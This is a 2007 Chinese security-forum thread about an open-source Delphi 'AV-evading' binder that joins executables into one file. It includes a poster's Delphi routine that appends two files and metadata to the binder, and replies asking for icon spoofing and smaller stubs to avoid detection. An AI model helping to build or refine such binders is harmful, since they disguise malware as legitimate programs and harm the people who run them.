[原创]Delphi写的免杀捆绑器(开源代码)
软件作者:seraph.x信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
[b]注意:本软件首发[url=http://blog.nighter.net/]Seraph's Blog[/url],后由原创作者友情提交到邪恶八进制信息安全团队讨论组。转载请注明原始出处[url=http://blog.nighter.net/][u]Seraph's Blog[/u][/url]。[/b]
借花献佛,原本是飞梦无痕写的东西,我修改了下,发布给同样想学习的朋友,感谢飞梦无痕的无私。
[attach]9919[/attach] 要是加上可选择捆绑后的文件图标就完美了,呵呵!谢谢 收下了 [s:34] 捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?
还是利用指针,直接把文件的二进制数据写到另一文件的尾部?
[s:38] 偶蒙了 我用的捆绑器,捆绑后不修改文件图标能正常执行,修改图标就出问题,
请教是不是图标的32*32,256属性要改? [quote][b]引用第2楼[i]asm[/i]于[i]2007-01-24 05:30[/i]发表的[/b]:
捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?
还是利用指针,直接把文件的二进制数据写到另一文件的尾部?
[s:38] 偶蒙了[/quote]
这个是附加数据到自己。
楼主你这样干生成的文件是不是也太大了点。。。,自己本身就400多k了。
建议你另做一个只包含必要功能的exe,除了windows什么都别use,文件操作可以用api。
然后作为资源包含进主exe。这样捆绑以后文件最多大20多K。
[s:52] [quote][b]引用第2楼[i]asm[/i]于[i]2007-01-24 05:30[/i]发表的[/b]:
捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?
还是利用指针,直接把文件的二进制数据写到另一文件的尾部?
[s:38] 偶蒙了[/quote]
直接把文件的二进制数据写到另一文件的尾部
[s:39] [quote][b]引用第2楼[i]asm[/i]于[i]2007-01-24 05:30[/i]发表的[/b]:
捆绑的原理是否和感染PE一样,在文件添加一个新节,节里的内容是捆绑的数据?
还是利用指针,直接把文件的二进制数据写到另一文件的尾部?
[s:38] 偶蒙了[/quote]
既然你是学习asm语言为主的,强烈建议你看看microjoiner binder的代码,这个是开源的工程,网上能搜到代码,那才是经典的代码呢,不到2K的stub文件,功能暴多。
可惜我水平有限看不懂,只会修改修改免杀自己用。 - 分析文件....
- 检查额外的数据......
- 检查寄生(被注射)数据.....
-> 发现 C4DC8h 额外的字节,开始补偿于 3D6C9h
那意味着:
文件包括额外的数据 806344 字节。
缩短大小约为 245 KB。
你可能现在尝试弄干净文件。
- 尝试移动额外的数据
-> 额外的数据被成功地移动。 大家猜我用程序分离以后,出现什么结果?结果把捆绑程序给导出来了 楼主的代码 在Button4Click 那里应该多加一个判断会好一些,检测用户是不是选择了保存路径,如果没有选择就跳提示信息。选择后才可执行下一步。下面是我修改了一下的结果;
if edit3.Text <> '' then
begin
// 初始化SelfFileInfo,FirstFileInfo,SecondFileInfo结构
FillChar(SelfFileInfo, sizeof(TFilesInfo), #0);
FillChar(FirstFileInfo, sizeof(TFilesInfo), #0);
FillChar(SecondFileInfo, sizeof(TFilesInfo), #0);
// 打开自身并读取
MySelf := TFileStream.Create(Application.ExeName, fmOpenRead or fmShareDenyNone);
// 获取自身文件大小
SelfFileInfo.FileSize := MySelf.Size;
SelfFileInfo.FileName := 'Bind'; // 打上标志
OutFile := TFileStream.Create(Edit3.Text, fmCreate or fmOpenWrite);
// 将自身文件保存在输出文件的最前面
OutFile.CopyFrom(MySelf, 0); // 第二个参数为0时表示复制整个内容
// 关闭打开的自身文件
MySelf.Free;
// 打开第一个要捆绑的文件
SourceFile := TFileStream.Create(Edit1.Text, fmOpenRead or fmShareDenyNone);
// 获取第一个要捆绑文件的文件名及大小
StrPCopy(FirstFileInfo.FileName, ExtractFileName(Edit1.Text));
FirstFileInfo.FileSize := SourceFile.Size;
// 将第一个文件的内容追加在输出文件后
OutFile.CopyFrom(SourceFile, 0);
// 关闭第一个文件
SourceFile.Free;
// 打开第二个要捆绑的文件
SourceFile := TFileStream.Create(Edit2.Text, fmOpenRead or fmShareDenyNone);
// 获取第二个要捆绑文件的文件名及大小
StrPCopy(SecondFileInfo.FileName, ExtractFileName(Edit2.Text));
SecondFileInfo.FileSize := SourceFile.Size;
// 将第二个文件的内容追加在输出文件后
OutFile.CopyFrom(SourceFile, 0);
// 关闭第二个文件
SourceFile.Free;
// 将被捆绑文件信息写在输出文件未尾
OutFile.Write(SelfFileInfo, sizeof(TFilesInfo));
OutFile.Write(FirstFileInfo, sizeof(TFilesInfo));
OutFile.Write(SecondFileInfo, sizeof(TFilesInfo));
// 关闭输出文件完成捆绑
OutFile.Free;
MessageBox(Handle,'捆绑完毕!','Nighter',MB_OK)
end
else
Application.MessageBox('请选择要保存的路径','提示',MB_OK); [s:36] [s:36] [s:36]
这方法不太好,捆绑后的程序不能压缩....
头部则是原程序,运行后分离后面的文件..
[s:39] 挨不了多久又杀了起来,而已体积太肥了...
希望楼主可以改进,期待... [s:37] 这个捆绑器捆绑文件后,用工具分离分离出3个文件, 捆绑工具一同被分离了出来,捆绑后的文件图标不能改成和被捆绑程序 ,不爽啊 ,不过还是感谢楼主的共享精神! 看看是当资源捆绑还是有两个pe头的那种 同样支持1楼的..带上选择图标..要不太容易被认出了.
而且好象..捆绑.的结果好象大了许多吧?最重要的是出现2个pe头...希望楼主改进.. 六楼的大哥能说下MJ捆绑机怎么编译吗,我没有编译成功 捆绑的目的是什么呢?楼住咨询个问题,我想编个程序调用另一个程序而且要帮定在一块。可以实现吗? 捆绑后运行可执行文件要出错,弹出正在被使用的错误对话框。 没必要 我做的程序 只要增加几十K DELPHI 实现 捆绑后
文件怎么那么大 [s:289] 下载一个,最近正好想学习学习呢~~
页:
[1]